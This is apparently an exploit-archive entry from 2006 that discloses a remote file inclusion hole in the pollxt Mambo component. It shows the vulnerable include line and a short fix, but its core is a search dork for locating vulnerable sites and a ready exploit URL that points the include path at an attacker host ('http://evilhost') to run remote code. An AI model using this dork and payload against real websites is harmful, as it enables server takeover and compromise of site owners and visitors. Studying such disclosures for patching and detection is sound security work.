pollxt Mambo Component <= 1.22.07 Remote Include Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : pollxt Mambo Component <= 1.22.07 Remote Include Vulnerability
# Published : 2006-07-17
# Author : vitux
# Previous Title : Sitemap Mambo Component <= 2.0.0 Remote Include Vulnerability
# Next Title : MiniBB Mambo Component <= 1.5a Remote File Include Vulnerabilities

Application : pollxt mambo Component
 
URL : http://www.mamboxt.com
 
Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_pollxt/conf.pollxt.php on line 1-2
 
require_once($mosConfig_absolute_path."/administrator/components/com_pollxt/pollxt.class.php");

Exploit:
~~~~~~~~

dork: inurl:"com_pollxt"
 
http://www.vuln.com/components/com_pollxt/conf.pollxt.php?mosConfig_absol
ute_path=http://evilhost

Fix
~~~~

Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

vitux

# www.Syue.com [2006-07-17]